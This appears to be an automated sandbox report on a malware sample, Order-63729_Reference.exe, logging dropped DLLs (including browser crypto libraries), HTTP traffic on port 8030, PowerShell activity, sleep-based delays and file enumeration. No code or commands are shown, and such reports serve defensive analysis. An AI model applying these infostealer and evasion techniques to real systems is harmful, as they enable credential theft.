Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 8030
Source: unknown	Network traffic detected: HTTP traffic on port 8030 -> 49704

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe

Code function: 4_2_00417B1A LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,

4_2_00417B1A

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe

Code function: 4_2_00416B94 LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,CreateToolhelp32Snapshot,Process32FirstW,CloseHandle,GetCurrentProcessId,

4_2_00416B94

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4412			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5263			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-private-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\nssdbm3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4296	Thread sleep count: 4412 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4296	Thread sleep count: 5263 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5876	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 652	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 892	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3608	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_0041303C FindFirstFileW,FindNextFileW,FindClose,	4_2_0041303C
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_004098A0 FindFirstFileW,FindNextFileW,FindClose,	4_2_004098A0
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_0040D0A0 FindFirstFileW,	4_2_0040D0A0
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_004111C4 FindFirstFileW,FindNextFileW,FindClose,	4_2_004111C4
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_0040F198 FindFirstFileW,FindNextFileW,	4_2_0040F198
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_00414408 FindFirstFileW,GetFileAttributesW,FindNextFileW,FindClose,	4_2_00414408
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_00408D44 FindFirstFileW,GetFileAttributesW,FindNextFileW,	4_2_00408D44
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_00411590 FindFirstFileW,FindNextFileW,FindClose,	4_2_00411590
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_00412D9C FindFirstFileW,FindNextFileW,FindClose,	4_2_00412D9C
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_0040EE00 FindFirstFileW,FindNextFileW,FindClose,	4_2_0040EE00
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_00415610 FindFirstFileW,FindNextFileW,FindClose,	4_2_00415610
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_0040F6AC FindFirstFileW,FindFirstFileW,	4_2_0040F6AC
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_004087DC FreeLibrary,FindFirstFileW,DeleteFileW,FindNextFileW,SetCurrentDirectoryW,RemoveDirectoryW,	4_2_004087DC
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_0040D06E FindFirstFileW,	4_2_0040D06E
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_0040989F FindFirstFileW,FindNextFileW,FindClose,	4_2_0040989F
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_00414408 FindFirstFileW,GetFileAttributesW,FindNextFileW,FindClose,	4_2_00414408
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_00415610 FindFirstFileW,FindNextFileW,FindClose,	4_2_00415610
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_00412D70 FindFirstFileW,FindNextFileW,FindClose,	4_2_00412D70
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_00412D70 FindFirstFileW,FindNextFileW,FindClose,	4_2_00412D70
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_00408D3C FindFirstFileW,GetFileAttributesW,FindNextFileW,	4_2_00408D3C
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_0040EDF0 FindFirstFileW,FindNextFileW,FindClose,	4_2_0040EDF0
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_0040EDF8 FindFirstFileW,FindNextFileW,FindClose,	4_2_0040EDF8
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_00412D70 FindFirstFileW,FindNextFileW,FindClose,	4_2_00412D70
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_0041158C FindFirstFileW,FindNextFileW,FindClose,	4_2_0041158C
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_0040F6A4 FindFirstFileW,FindFirstFileW,	4_2_0040F6A4
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_0040F6A8 FindFirstFileW,FindFirstFileW,	4_2_0040F6A8

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe

Code function: 4_2_00416748 GetSystemInfo,

4_2_00416748

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

